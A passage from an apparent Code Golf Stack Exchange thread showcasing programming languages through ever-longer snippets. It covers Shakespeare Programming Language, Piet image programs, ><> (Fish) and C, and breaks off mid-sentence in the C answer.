was addressed to Juliet, it would be equivalent to `Juliet++`. **Length 62 snippet** ``` twice the difference between a mistletoe and a oozing blister! ``` Yes, yes, more arithmetic operations. Roughly, these 62 bytes of SPL can be translated to `2*(1-2*(-1))`. This would be a pretty awesome golfing language, right? Right. **Length 63 snippet** ``` You lying stupid fatherless rotten stinking half-witted coward! ``` Snippet 48 outputted -16, this one is equal to -64: `2*2*2*2*2*2*(-1)`. **Length 64 snippet** ``` your coward sorry little stuffed misused dusty oozing rotten sky ``` From what I understand of SPL, this is perfectly legit. You have a whole lot of insulting adjectives what proceed a "positive" noun. Since adjectives have no special distinction whether they're negative or not (their only value is multiplying the number at their right by two), we can have completely silly sentences like this one. Which is equivalent to 256. Because `2*2*2*2*2*2*2*2*1=256`. **Length 65 snippet** ``` You are nothing! You are as vile as the sum of thyself and a pig. ``` Hmm, so much hate, isn't it? So, what we have here is equivalent to `y=0; y=y+(-1);` Probably could have been "golfed" to `You are a pig!`, but heh. **Length 66 snippet** ``` You are as beautiful as the difference between Juliet and thyself. ``` So, subtract Juliet from yourself, heh? This one's pretty simple to decode: `Romeo=Juliet-Romeo;`, assuming it's Romeo who's being spoken to. **Length 67 snippet** ``` Juliet: Am I better than you? Romeo: If so, let us proceed to Act V. ``` How most conditions work on SPL. You test the expression and, if it's true (or not: see snippet 33), you jump to another part of the program; otherwise, you'll continue on to the next sentence. **Length 68 snippet** ``` The Ghost: You are as small as the sum of yourself and a stone wall! ``` Yes, yes, I'm getting a bit monotonous. But SPL is like that. As I stated a bit earlier, its expressions are a mixture of arithmetic operations. Thus, this is yet another incrementation - since `stone wall` is a neutral "noun". **Length 69 snippet** ``` Thou art as disgusting as the difference between Othello and thyself! ``` Instead of a sum, we have the subtraction between two characters, Othello and whoever is being spoken to. **Length 70 snippet** ``` You are as handsome as the sum of Romeo and his black lazy squirrel! ``` We return to the additions, yes - call me formulaic, heh. We translate this to `Romeo + 2*2*1`. **Length 71 snippet** ``` Scene I: Dialogues. [Enter Juliet] Othello: Speak your mind! [Exit Juliet] ``` A Scene can be as small as this. `Juliet` enters the stage, Othello tells her to output her stored value, then she gets off stage again. **Length 72 snippet** ``` twice the difference between a mistletoe and an oozing infected blister! ``` One more arithmetic operation - because SPL is riddled with them. We can translate this to `2*(1-2*2*(-1))`. **Length 73 snippet** ``` You are nothing! Remember me. Recall your unhappy story! Speak your mind! ``` Four instructions in a row?! I'm quite proud of myself, actually. Anyway, let's assume this is a dialogue between Romeo and Juliet (and he's speaking): this means that Juliet's value starts at 0; then, Juliet will push Romeo's value into her stack of memory, pop it and output it in its entered form. Simple, right? **Length 74 snippet** ``` You are as sweet as the sum of the sum of Romeo and his horse and his cat! ``` Yeah, yeah, boring example, I know. But this is `X = (Romeo + 1) + 1`. **Length 75 snippet** ``` Is the remainder of the quotient between Othello and me as good as nothing? ``` Well, this is pretty straightforward. If your decoding skills are malfunctioning, it translates to `if (Othello % X == 0)`. **Length 76 snippet** ``` Thou art as rich as the sum of thyself and my dog! Let us return to scene I. ``` The jump from snippet 26 with an expression before it. A `goto` on SPL isn't always found near a condition, it can be like this - and, of course, this type of `goto` will always be found at the end of an Act or Scene, since instructions after it will never be compiled/performed. The first instruction is pretty simple: `x=x+1`. **Length 77 snippet** ``` [Exit Hamlet] [Enter Romeo] Juliet: Open your heart. [Exit Juliet] [Enter Hamlet] ``` So, we have Juliet and Hamlet on stage; but we're in need of the value from Romeo. Thus, in order to spare the compiler from a very nasty headache, firstly we remove Hamlet from the stage (though it could have been Juliet the one to go), we tell Romeo to get on stage, Juliet gives him an instruction to output a number (see snippet 21's explanation), then Romeo gets out of the stage and Hamlet returns. Pretty straightforward and simple. **Length 78 snippet** ``` The Ghost: Speak thy mind. Lady Macbeth: Listen to thy heart! Remember thyself. ``` So, The Ghost (Hamlet's deceased father) is telling Lady Macbeth to output her value, while she orders The Ghost to read a number and push it into his stack. [Answer] # [Piet](http://www.dangermouse.net/esoteric/piet.html) **Factoid** Piet is a programming language where the source code consists of images. Program flow starts with the top-left pixel and moves around the image between pixels and pixel groups until it terminates. For legibility, Piet programs are commonly displayed in an enlarged version. In such a case the term `codel` is used to describe a group of same-coloured pixels that correspond to an individual pixel in the source image. For this challenge, since Piet does not use characters, one codel per vote will be used for sample programs. **1 Codel** ![1 Codel](https://i.stack.imgur.com/eB4XY.png) This is a valid program, it does nothing and terminates. The control flow starts in the top-left (only) pixel and has no way out, which ends the program. The pixel can in this case be any colour for the exact same effect. **2 Codels** ![2 Codels](https://i.stack.imgur.com/lRG1h.png) This will continually read characters from stdin and keep a running total of their unicode values (though nothing is done with this total and it is not displayed). Progam flow moves back and forth between the 2 codels, since the only way out of each one is into the other. Commands in piet are executed by movement from one codel or region into another, depending on the difference in hue and lightness of the 2 regions. The `input` is the command moving left-to-right and then the `add` is right-to-left. On the first `add` command, nothing will happen since there is only one value on the stack, and the specification says that commands without enough values available are ignored. This program is a loop that will never end, as most piet programs will be at extremely small sizes, since it takes at least a few codels to properly "trap" the program flow and end it. **3 Codels** ![3 Codels](https://i.stack.imgur.com/rFVzV.png) This is a basic echo-type program, it will read a character at a time from stdin and print it to stdout. Again this is an infinite loop. The program starts by travelling left-to right, which does the `input` then `output`. The program will continue to flow in the same direction whenever it can. At the light green codel the only exit is to start moving back the other way. When travelling back right-to-left it attempts to perform `subtract` and `add` commands, but the stack is empty so these become no-ops. **4 Codels** ![4 Codels](https://i.stack.imgur.com/m3XR2.png) Prints out 2 to stdout indefinitely. Not a particularly interesting program functionally, but now that we finally have a composite number of codels we can show off slightly more advanced flow than left-to-right. When program flow attempts to exit a codel it first tries the current direction. If it's unable (in this case due to the edge of the image) it rotates 90 degrees clockwise and attempts to exit again. In this case, the program goes around clockwise 1 codel at a time, `push`ing 1 onto the stack twice, `add`ing the ones together, then `output`ing the result. **5 Codels** ![5 Codels](https://i.stack.imgur.com/nYWRF.png) Repeatedly reads a character at a time from stdin and tracks the sum of their unicode values. This is essentially the same functionality as the 2-codel version, but this challenge is about showcasing the language, and one of the cool things about piet is how you can have different-looking pictures that do the same thing. Here we see the white codel for the first time, which allows program flow to slide across it without executing instructions. The magenta and blue codels do all the work here. Travelling from blue to red does nothing because it crosses the white codel in the middle. The 2 red ones just `push` the number 1 onto the stack and `pop` it back off as it travels left-to-right then right-to-left across them, and then across the white codel so no instruction is executed. **6 Codels** ![6 Codels](https://i.stack.imgur.com/e8y5T.png) Again, repeating earlier functionality with a different look. This is another echo program that reads a character at a time from stdin to stdout. Here we see our first black codel. Program flow cannot enter a black codel, so from the light magenta codel in the top-right the program will fail to exit right due to the image edge, fail to exit down due to the black codel, and bounce back left into the red codel. The blue and green codels are purely decorative, the program will never enter them. **7 Codels** ![7 Codels](https://i.stack.imgur.com/EnEqR.png) Yet another echo program with a different look. Here we see our first codel blocks larger than size 1. In piet, any contiguous block of codels of the same colour is treated as a single block. The size of the block does not matter except when executing the `push` instruction, so this program is treated exactly like the 3-codel version, except with different colours. **8 Codels** ![8 Codels](https://i.stack.imgur.com/V9FYs.png) Reads a number from stdin and outputs the square to stdout, repeatedly. Control flow is a basic clockwise pattern just as in the 4-codel program. Starting from the top-left, the operations in order are `input`, `duplicate` (pushes an extra copy of the top value of the stack onto the stack), `multiply`, `output`. Then it `push`es the value 1 onto the stack, slides across the white so no command is executed, and then `pop`s that 1 off of the stack when moving from the lower-left to upper-left codel. This returns it to the beginning of the program with an empty stack, and it repeats. **9 Codels** ![9 Codels](https://i.stack.imgur.com/yKnUm.png) Adds 1 + 2 = 3, and then terminates. Now that we have a program with greater than 2 codels in both dimensions, we can finally set up a region that will trap the program and end it instead of looping forever. The first operation moving from the red codel to the dark red region is a `push` of 1, then the program rotates and flows down into the light red codel in the middle and `push`es a value of 2. Flowing from the light red to the light yellow executes an `add` operation. The bottom light yellow bar causes the program to end since there is no way for it to flow out as all the corners are blocked off. --- The 1- and 2-high programs are quickly becoming ugly and uninteresting so from this point on I'm going to focus on numbers that allow at least a few codels in each direction. **12 Codels** ![12 Codels](https://i.stack.imgur.com/uGZR7.png) Finally a program that does something that could be argued as useful (though it's still a bit of a stretch). Reads 2 numbers from stdin sequentially and then outputs their sum, and does this repeatedly. Program flows left-to-right across the 4 coloured bars perfoming 2 `inputs` followed by an `add` command. It then moves into the lower-right codel and performs an `output`, and then goes left across the white region back to the start. This could have been done in 8 codels, but since we have the extra space we can make something that's a little bit inspired by an old no-signal TV display. **15 Codels** ![15 Codels](https://i.stack.imgur.com/OjV6N.png) Reads a number from stdin and outputs its' square. This uses a couple of tricks to get a bit of a symmetrical look to a program that actually does something. The leftmost red bar is a different colour on the bottom codel than the rest, taking advantage of the fact that (for me at least) these 2 shades of red look very similar. the program will move from the lighter red region right into the light blue codel, and then straight across the middle of the program to the light green on the right side where it is trapped. It performs `input`, `duplicate`, `multiply`, and `output` operations. The darker red codel, along with the medium green codels on the top and bottom of the middle column, are decorative and the program will never reach them. **20 Codels** ![20 Codels](https://i.stack.imgur.com/IiXez.png) Reads numbers from stdin until a 0 is read, at which point it outputs the sum of all entered numbers and exits. We finally have enough room to do control flow in the form of the `pointer` operation. The 4 codels along the top perform `input`, `duplicate`, and `not` operations, and then another `not` operation moving from the magenta in the top-right to the 2-codel yellow below it. The `not` operation pops the top value off of the stack and pushes a 1 if the top value was a 0, and a 1 otherwise. Therefore a double-`not` replaces any nonzero value with a 1. Moving from the yellow bar down to the dark blue performs a `pointer` operation, which pops the top value off of the stack and moves the direction pointer clockwise that many times. If the top value is a 1 (i.e. we didn't enter a zero) the direction pointer will point left, moving to the magenta codels for an `add` operation (which will be ignored the first time due to only one value on the stack) and then through the white back to the start of the program. If the top value of the stack is a zero at the pointer operation, the direction pointer will not change and the program will continue downwards. Moving into the lighter blue band will `pop` the 0 that was entered off of the stack, leaving only the sum of the accumulated numbers. Moving into the cyan bar on the bottom will `output` that sum, and then end since the program flow is trapped. **25 Codels** ![25 Codels](https://i.stack.imgur.com/BQKEu.png) Countdown! Reads a number from stdin, and then prints a countdown to 1 to stdout one number at a time. For example, if 5 is read, will print 54321. The first operation from cyan to yellow is the `input`. Then the yellow is where the program "loop" starts. Yellow > Magenta > Blue is a `duplicate` then an `output`, so it prints the top value on the stack but keeps a copy. Moving down the right side, we `push` the value 1 onto the stack then perform a `subtraction`, decreasing our entered value by 1. Next is `duplicate`, `not`, and another `not` moving from the light magenta in the bottom-right to the dark yellow beside it. This is the same zero/nonzero check as the previous program. Moving left into the light blue codel performs a `pointer` operation, that will either move left into the dark cyan to end the program if we're done, or up to the yellow to re-start our loop without the initial input but the original value decreased by 1. All 3 of the red codels are decorative and could be any colour. **30 Codels** ![30 Codels](https://i.stack.imgur.com/gVE3q.png) Fibonacci generator. Prints out terms of the Fibonacci sequence to stdout and doesn't stop. This is the first introduction of the `roll` operator, as well as the first time that a region size bigger than 1 is used with the `push` operator to get a specific value onto the stack. As always starts in the top-left moving right. The first 2 operations `push` a 1 onto the stack and then `output` it since the Fibonacci sequence starts with two 1s, but the main program loop will only print 1 once. Then it `push`es 2 more 1s onto the stack to end up in the dark magenta in the top-right to start the main program loop. Moving down the right side we `duplicate` and `output` to print off the next term of the sequence, then `duplicate` again to get a copy of the current sequence value. Moving left across the bottom executes 2 `push` operations. Since the light red region in the bottom-right is 3 codels in size, the first `push` will push a 3 onto the stack instead of a 1. Moving up into the light blue is a `roll` operation. This pops the top 2 values off of the stack and performs a number of rolls equal to the first value popped, to a depth equal to the second value popped. In this case, it will perform 1 roll to a depth of 3. A roll to depth `n` takes the top value of the stack (our duplicated current value) and buries it `n` places deep. Our stack is only 3 deep right now so it will bury the top value at the bottom. Moving up once more performs an `add` operation adding together the current sequence value with the previous sequence value. Our stack now has the next (new current) sequence value on top, and the last value below it. The program now moves right across the white into the dark magenta to start the loop again. The yellow pattern in the middle is never used. **54 Codels** ![54 Codels](https://i.stack.imgur.com/H7qdd.png) Prints "hi!" to stdout Not a particularly long message, but printing in piet takes a surprising amount of room. Printing is done by using unicode values, and integers are pushed onto the stack by using the size of the region that is being exited. Since we have a very limited number of codels for this challenge, we use some math to get up to the printable range we want. The program starts with a `push` of 5 from the cyan region on the left. From here, it flows right along the top with 6 `duplicate` operations to prime the stack with a bunch of 5s. Next is `push` 1, `subtract` to put a 4 on top of the stack, then 2 `multiply` operations to put 4\*5\*5=100 on top of the stack. Then a `duplicate` for 2 100s. Now the program bounces off of the black and starts working leftwards along the bottom. `Push` operations of 3 and 2 and then a `roll` to bury the 2 100s under a 5. Next is `push` 1, subtract, and add to get 100+5-1=104 on top of the stack, which is unicode "h". Next 2 operations are `push` 1 and `pointer` to get around the corner and start moving right along the middle, and then `output` to print "h". Next is `add` 100+5=105 on top of the stack, and `output` to print "i". The stack now contains two 5s. `Push` 1, `add`, `multiply` gives (1+5)\*5=30. Finally `push` 3 and `add` for 33, and `output` for the trailing "!". The program then goes right through the remaining white space to end in the green on the right. [Answer] # [><> (Fish)](http://esolangs.org/wiki/Fish) *(Note: Some snippets build on previous snippets, so unlike most answers I've decided to put them from earliest to latest.)* **Factoid:** Like Befunge, ><> is a stack-based 2D language. This means that instructions aren't executed linearly like most traditional languages ‚Äî program flow can be up, down, left or right! **Length 1 snippet:** ``` X ``` `X` is an invalid command in ><>, so the error message `something smells fishy...` is printed. In fact, this is the only error message in ><>, whether the cause be division by zero or trying to pop an empty stack. **Length 2 snippet:** ``` 1n ``` Program flow in ><> starts from the top left and is initially rightward. `1` pushes a 1 onto the stack, then `n` prints it as a number (as opposed to as an ASCII char). But ><> programs are toroidal, meaning that the instruction pointer wraps around when it reaches the end of a line. So after the `n` we wrap to beginning, push a 1, print, wrap to the beginning, push a 1, print ... and we end up printing `1`s forever! **Length 3 snippet:** ``` "o; ``` Here `"` is string parsing, `o` outputs as an ASCII char and `;` terminates the program. But what does the program actually do as a whole? Well first we start string parsing, pushing every char we see onto the stack until we find a closing `"`. We push an `o`, then a `;` ... and wrap the instruction pointer back to the start. But now we're on a `"` so we *stop* string parsing, and finally we execute the `o` and `;` as normal to print the top of the stack (the `;`) and terminate. Yes, we've just used the same quote char to start and end a string! **Length 4 snippet:** ``` 42n; ``` Based on what we've seen so far, you might expect this to push 42, output as a number then terminate. But all instructions in ><> are single chars, so this actually pushes **a 4 and a 2**, then outputs the top of the stack as a number (only the 2) and terminates. **Length 5 snippet:** ``` <v ;> ``` Remember, ><> is a 2D language. This means that there's got to be ways to change the direction of program flow! Like Befunge, one way you can do this is via the arrows `>^v<`. To illustrate how they work, let's look at the above program: * Program flow is initially rightward * `<` makes program flow leftward ‚Äî we go off the left and wrap around to the `v` * `v` makes program flow downward ‚Äî we go down to the `>` * `>` makes program flow rightward ‚Äî we go off the right and wrap around to the `;` * Finally, we terminate. **Length 6 snippet:** ``` ";"00p ``` Another cool feature of ><> is that it's reflexive ‚Äî the program can modify its own source code on the fly! Here we push a `;`, followed by two zeroes. `p` then pops the top three elements `y`, `x`, `v` (`y` being the top of the stack) and places `v` at the position `x,y`. In other words, the `p` in this program puts a semicolon at the position `0,0`, turning the code into `;;"00p`. This then allows the program to terminate, as the instruction pointer now wraps around and executes the newly-placed `;`. **Length 7 snippet:** ``` \7*n; 6 ``` *Un*like Befunge, ><> also has mirrors (`\/|_#`) which reflect the direction of program flow. So here we: * Start rightward, but the `\` reflects us downward * Push a 6 and wrap * Hit the backside of the `\` and reflect back to rightward * Push a 7 * Multiply the top two of the stack * Output and terminate Moving horizontally through a `_` mirror or vertically through a `|` mirror is a no-op. **Length 8 snippet:** ``` "r00g>o< ``` Quite possibly the simplest ><> quine if an error is allowed to be thrown. The two new instructions here are: * `r`: Reverse the stack * `g`: Get ‚Äî pop `y`,`x` and push the character at `x,y` onto the stack (counterpart to `p`) Using the string wrapping trick from before, the program initially pushes `r00g>o<` then hits the first quote again. The stack is then reversed, giving `<o>g00r`. After that we push the char at `0,0`, the `"`, to give `<o>g00r"`. Finally, we trap an `o` between two arrows, outputting the top of the stack until there's nothing left and we get an error. **Length 9 snippet:** ``` x0\> \1n> ``` `x` (lower case) moves the instruction pointer in a random direction, and the program showcases this functionality by printing random bits forever. Try following the arrows and mirrors to figure out how this works! (Don't forget to check all four directions, including up and left) **Length 10 snippet:** ``` ;a comment ``` There's no comment syntax in ><> ‚Äî it doesn't need one. Just write what you want anywhere and make sure it doesn't get executed as code! **Length 11 snippet:** ``` 1!X2!X+!Xn; ``` `!` is a trampoline which skips over instructions. It's particularly useful when used with `?`, a *conditional* trampoline which pops the top of the stack and executes the next instruction if the popped element is nonzero. We'll see how this works later. The above code prints 3 by skipping over the `X`s, only executing `1! 2! +! n;`. **Length 12 snippet:** ``` 01v ao>:@+:n ``` Prints the Fibonacci numbers forever starting from the second `1`, one on each line. The new commands are: * `a`: Push 10, which we need for newline. `a-f` push 10 to 15 respectively. * `:`: Duplicate top of stack * `@`: Rotate the top three elements of the stack, e.g. `[5 4 3 2 1] -> [5 4 1 3 2]`. Trace for the first few iterations: ![enter image description here](https://i.stack.imgur.com/aJS8q.gif) **Length 13 snippet:** ``` i:d=?v l?!;o> ``` A "tac" program which reads in a line of input and outputs it reversed. Thanks to @tomsmeding for the snippet. `=` pops the top two elements and pushes 1 if they're equal, 0 otherwise. The first line keeps reading in input until ASCII char 13 (carriage return) is found, at which point it moves to the second line. The `l?!;o` loop is an important construct in ><> which outputs the entire stack. Unlike `>o<`, it doesn't cause any errors. This is how it works: * `l` pushes the length of the stack * We check the length with `?`: + If the length was nonzero, then the next instruction `!` is executed, skipping the `;` + If the length *was* zero, then we don't execute `!` and terminate due to the `;` Note that no output actually happens until you hit carriage return. **Length 14 snippet:** ``` 32. X67*n; ``` In addition to changing the direction of program flow, you can actually move the instruction pointer anywhere you like! `.` pops `y`,`x` and teleports the instruction pointer to `x,y`, maintaining direction. Note, however, that you need to move to one square before where you want to go ‚Äî the instruction pointer is updated before the next instruction is executed. So here the instruction pointer lands on the invalid `X`, but all is okay since the pointer moves to the `6` before continuing execution. `.` makes it possible to convert most ><> programs into a one-liner, but why would you want to lose the fun of 2D? :) **Length 15 snippet:** ``` 01+:aa*=?;:nao! ``` Prints the numbers `0` to `99`, one on each line. This program demonstrates a neat use of the `!` trampoline ‚Äî to ensure that the initial 0 is only pushed once. **Length 16 snippet:** ``` "r00g!;oooooooo| ``` A proper quine which *doesn't* throw errors, inspired by the quine on the [esolang page](http://esolangs.org/wiki/Fish). If you wondered about how to modify the previous quine (snippet #8) so that it wouldn't cause an error and thought "why don't I just add a ton of `o` instructions?", then you might realise that for every `o` you add, you need to output another `o`! This quine neatly solves the problem by putting a `|` mirror at the end, which allows each `o` to be used **twice**. If we switch to single quotes (which are also for string parsing), then an alternative quine which doesn't use `g` is ``` 'r3d*!;oooooooo| ``` **Length 17 snippet:** ``` b2,63,. 17,n; ``` We have addition (`+`), subtraction (`-`), multiplication (`*`), modulo (`%`)... but what about division? It's there, but since `/` is already a mirror, division has been assigned the `,` symbol instead. Interestingly, division is *float* division, not integer division! The above program explores some undefined behaviour by trying to jump to `11/2, 6/3`. The [Python intepreter](https://gist.github.com/anonymous/6392418) seems okay if the first coordinate is not an integer (although it jumps to the wrong spot), but chokes if the second isn't. **Length 18 snippet:** ``` 123456${{$}nnnnnn; ``` We've seen `r` which reverses the stack and `@` which rotates the top three elements. Here are a few more commands which move elements on the stack: * `$`: Swap the top two elements * `{`: Shift the whole stack left * `}`: Shift the whole stack right To show how this works, here's the program trace: ``` 123456 ------> 123465 ------> 234651 ------> 346512 ------> 346521 ------> 134652 $ Swap { L shift { L shift $ Swap } R shift ``` Then we output, giving `256431`. **Length 19 snippet:** ``` "reward"4[roooo]oo; ``` Up until now I've been saying "the stack", "the stack"... Although most programs use only one stack, ><> can actually have multiple stacks! Here are the relevant instructions: * `[`: Pops `x` and moves the top `x` elements to a new stack * `]`: Removes the current stack, and moves its values to the underlying stack. Here's the trace for the above program: ``` [r e w a r d] Push "reward" 4[ [r e] [w a r d] Move four elements to a new stack r [r e] [d r a w] Reverse the current stack oooo [r e] [] Output "ward" ] [r e] Remove the current stack, no values to move oo [] Output "er", giving "warder" altogether ``` Note that simply pushing `reward` and then outputting it again with `oooooo` would print `drawer`, due to the "first in, last out" nature of stacks. **Length 20 snippet:** ``` aa*5+\ 7a*2+\ oo; \ ``` A little known feature of ><> is that, like Python, backslashes can be used for line continuation in many cases.\* The above code is functionally the same as ``` aa*5+7a*2+oo; ``` \*Disclaimer: The reason why this works may or may not be for a completely different reason **Length 22 snippet:** ``` 1&fv ;n&< &1->:0=?^:&* ``` In addition to stacks, ><> also has registers (one for each stack) which can be used to store values. Calling `&` for the first time moves the top value of the stack to the register, and executing `&` again moves the value back. This can be very useful when accumulating a value, for example sums and factorials. The program above calculates the factorial of `f` (15), printing 1307674368000. Here's the trace for `f` replaced with `4`: ![enter image description here](https://i.stack.imgur.com/svbW7.gif) **Length 24 snippet:** ``` "Hello, World!"rl?!;of0. ``` We have enough chars for everybody's favourite program! Here we use the `.` teleporter for the output loop. **Length 25 snippet:** ``` 0i:0(?v$a*$"0"-+! ;n~< ``` Unfortunately ><> only allows reading from STDIN one char at a time, which makes reading in numbers a little tricky. For input consisting of digits 0-9, this program is essentially atoi, converting a string of digits from STDIN into a number on the stack (which is then printed). Another note is that on EOF, `i` pushes -1 onto the stack. This makes checking for EOF easy by comparing to 0 using `(`, or "less than". This snippet also uses `~`, which pops and discards the top element of the stack. **Length 33 snippet:** ``` i>:nao:1=?;\ ^ ,2v?%2:/ ^+1*3< ``` Up until now, most snippets have either been relatively linear, or were just simple examples demonstrating ><>'s functionality. Now I can give an example which highlights how easy it is to visualise program flow in ><> with a well-laid-out program. The program reads in a single ASCII character and runs the `3x+1` algorithm on its code point (In ><>, characters are basically integers). Each step of the algorithm is printed until we hit 1. Here is a trace for the first few iterations with input `a` (code point 97): ![enter image description here](https://i.stack.imgur.com/qvvKX.gif) **Length 44 snippet:** ``` a&>i:0(?v"+"$\ /&^?=0l< "a*"/ \:1+&2p/\0 n ; ``` I don't feel like I've done the `p` command justice, having only used it once all the way back in snippet #6, so here's a different atoi function. What's cool about this one? The program *writes the expression needed to calculate the number* as it reads the input! So for input like `573`, after all chars are read the end of the third line will look like `\0a*5+a*7+a*3+`, which evaluates to 573! Once again, the input is expected to be digits only. [Trace GIF here](https://i.stack.imgur.com/7gAn3.gif). **Length 74 snippet:** ``` >i:'A'(?v:'N'(?v:'['(?v\ :'a'(?v:'n'(?v:'{'(?v\ ^ o< +d< -d-d<o ``` If you've managed to get down to here, then you might agree with me when I say that this is one very readable ROT13 program. Given a char `c1`, we find the first char `c2` in `AN[an{`, such that `c1 < c2`, then apply the appropriate offset by adding/subtracting `d` (13). Note that `[` and `{` are the chars directly after `Z` and `z` respectively. Try it in the console, and watch the letters transform as you type! (You can also pipe in the input, but as I'm missing the EOF check `:0(?;` it'll stop with an error when it tries to print -1 as a char) [Answer] # C ‚Äì [edit](https://codegolf.stackexchange.com/posts/44698/edit) Thanks for the votes! When compared to other languages and what they can do in limited bytes, C looks obsolete, fussy and too dependent on the developer. In many ways it is: scripted and higher level languages with automatic memory management are much more expressive and quicker to production than C will ever be. So why feature C? The hidden secret behind all those scripting languages is that the interpreters are likely written in C (or more recently, C++ or Java). The first C++ compilers actually compiled to C code. In fact, until there's a market for a direct compiler, it's usually more cost effective to write a compiler to generate C, and then compile that. If you're working on very small platforms, maybe even without an operating system available, you're likely working in C. These days, just about every appliance has a microcontroller embedded in it, no doubt programmed in C. When they need it small and fast, C is the way to go. (Also FORTH, for the masochists.) Knowing C takes you as close to the metal as you can go without getting into assembler, and helps you in other languages. You have a good idea how a C++ virtual function probably works. You know when you write those pass-by-value recursive functions in PHP, that internally it's doing a lot of memory allocation and copying, so you instinctively try out pass-by-reference. Callbacks and references don't freak out C developers, maybe Haskell does though. As Kernighan and Ritchie mentioned in their preface of the classic *C Programming Language*, 2nd edition, *C is not a big language, and it is not well served by a big book.* I'm trying to follow this advice: examples do double, triple or more duty if possible. All the snippets are at least compilable on their own. Those that are linkable and executable are indicated as such. I know this isn't a requirement, but it makes it simpler than trying to explain the framework required to make any code snippet work. I also tried to make sure each code snippet was as short as possible so that I'm not introducing extra spaces just to pad to a certain length. In cases where code is indented, the indents are not included in the length, just one character for each new line. **Factoid** C rocks. **Length 0 snippet** World's shortest self-reproducing program <http://www.ioccc.org/1994/smr.hint> **Length 1 snippet** ``` ; ``` C makes a distinction between compiling and linking. Many entities in C are just compiled and linked later - an example are all the static and dynamic libraries. Other entities are just included and generate no code by themselves. The above semi-colon will certainly compile into object code, and do nothing! **Length 2 snippet** ``` x; ``` C, being an older programming language, has gone through several iterations. The earliest in widespread use was developed by Kernighan and Ritchie and abbreviated K&R. K&R C is notable for making a lot of assumptions about your code if you don't explicitly provide them. In particular, in K&R C, the code above is assumed to be a global integer `x` initialized to 0. Compiling it in K&R mode will produce an object file which provides any program linking to it this variable for its use. **Length 3 snippet** ``` ??/ ``` C is so widespread that it needs to provide compatibility features for systems which do not have all the characters it uses. The above is a trigraph for the backslash, which is used in C as a line continuation character. The above will compile, likely with a warning that there isn't a line following. A common culture in C is to ignore compilation warnings, and many large code bases invariably have a few or more warnings when they're being built. **Length 4 snippet** ``` f(); ``` Again with K&R, the above is "filled out" to mean upon compilation that "There exists, with global linkage, a function `f`, to be provided later, which takes a fixed but unspecified number of arguments and returns an integer." Note the fundamental differences between this and `f;`. **Length 5 snippet** ``` s=""; ``` K&R C is notable for being truly forgiving. Upon compilation, this code will provide an integer `s` for global linkage which is initialized to the starting address of an empty string (I think). K&R quietly handles all the coercions, including truncation if an integer isn't large enough to hold the address. It is constructs like these which have generated many difficult-to-find bugs and provided much inspiration in IOCCC competitions. **Length 6 snippet** ``` o=042; ``` A gotcha of even old timers, a leading 0 in a literal number means the digits following are in the octal base. The above code, upon compilation, will provide an integer `o` for global linkage initialized to decimal 34. This feature of C has bitten many developers striving to pad their numbers to make them line up nice and even! **Length 7 snippet** ``` f(){f;} ``` The above code is a function with a body. But what does it do? It retrieves the address of the function, and does nothing with it! Typically what the function will return is undefined. Nonsensical code like this can often compile without warning. **Length 8 snippet** ``` main(){} ``` This represent the shortest compilable and linkable code in C. While in modern versions of C, functions usually cannot be defined implicitly, for historical reasons this restriction is relaxed for `main`. This marvel of a program, which does nothing but return 0, will compile to non-negligible size, and link in various C runtime routines. You can compile and link with verbosity set to full to see what is going on under the hood. **Length 9 snippet** ``` #define Z ``` A mainstay of C header files is the `#define` preprocessor directive. C programs compile in various stages, and in one of these stages these definitions are substituted with their actual values. When an argument is missing, C will imply `1`, so the above would substitute `1` wherever `Z` is used in the source code. The above would typically be put into a header file and `#include`d as required. **Length 10 snippet** ``` enum{P,Q}; ``` The `enum` keyword provides a sometimes type-safe way to define a series of constants. Like defines, they are often used in header files. The above code when included would define `P` as an integer of 0 and `Q` of 1. **Length 11 snippet** ``` volatile v; ``` The `volatile` keyword is to let the compiler know that a variable may be changed by other agents and not to make assumptions that it will remain constant between accesses. **Length 12 snippet** ``` #pragma once ``` `#pragma once` is a non-standard but widely supported preprocessor directive to indicate that the current source file be included only once in a single compilation. The traditional and fully supported technique is to use `#include` guards with the disadvantages of added code and possible name clashes. **Length 13 snippet** ``` w(){for(;;);} ``` There are numerous conventions in C, and one of these is how to represent infinite loops. In this case, `for(;;)` indicates no initialization, no exit check which defaults to 1 meaning true - i.e. don't break, and no looping code. Sometime it's possible to do everything inside of the `()` and the loop itself needs no body. In this case a dummy semicolon is added at the end. In the code above, when compiled, it will provide a function which will enter a tight busy loop - one of the no-no's in software design - and never return. **Length 14 snippet** ``` int a[]={1,2}; ``` Arrays in C do not need the lengths specified. The empty square brackets `[]` tell the compiler to "figure it out yourself". However in C, unlike other languages, there isn't a built-in way to prevent accessing an array outside of these bounds, leading to the "shoot yourself in the foot" metaphor that C is known for. The code above, when compiled, will provide a global mutable array `a` of two integers initialized with 1 and 2. **Length 15 snippet** ``` const long k=7; ``` The `const` specifer is a later addition to C borrowed from C++. A common interview question is "Does it make sense to define a variable as `volatile const`?". `const` along with `enum` and `inline` are intended to reduce the reliance on `#define` which has issues with type safety. **Length 16 snippet** ``` extern void **q; ``` `extern` is used to indicate that a variable is declared elsewhere. The `void *` type is the standard generic type in C, meaning it doesn't need to be explicitly cast to or cast from in assignment statements. The `**` operator sequence means pointer to a pointer, which often blows the minds of newbies, but is perfectly valid and often used C. **Length 17 snippet** ``` double d=4/3-1/3; ``` If you were to print the above, the result would be one, and you'd think, super! Change to `double d=4/3-2/3;` and what's the answer? It's still one! C is using integer arithmetic to calculate 4/3 ‚Üí 1 and 2/3 ‚Üí 0, and 1 - 0 ‚Üí 1! **Length 18 snippet** ``` main(){puts("!");} ``` Finally we get to some code that actually does something! `puts` is a favorite of C golfers because it doesn't require a header file to use. `puts` will also add a line feed to the output. Conversely, its counterpart `gets` will strip line feeds. One should never use `gets` except in very controlled circumstances - it has no protection for buffer overruns and is the root cause of many exploits. **Length 19 snippet** ``` #include <stdlib.h> ``` The inclusion of header files is often a personal signature of developers. Many include `lib` and `io` regardless if they are needed. Some order the header files so the lengths are increasing or decreasing. Most put `<>` before `""`. Personally I have used this signature in my TA days to check for cheating among students: same header signature? take a closer look! **Length 20 snippet** ``` char*p=(char*)0x300; ``` C is designed to be used on very low level rudimentary platforms. In some cases you might need to access special memory mapped ports directly. In the code above the address of a port is defined as hexadecimal 300. You would access the value of the port by using `*p`, as in `*p=0xff;` to turn all bits on, or `v=*p;` to retrieve the current value. **Length 21 snippet** ``` int w=sizeof(double); ``` The `sizeof` operator provides the size in bytes of a type. With variable names the brackets aren't required e.g. `double d;int w=sizeof d;`. **Length 22 snippet** ``` asm("xorl %ecx,%ecx"); ``` How 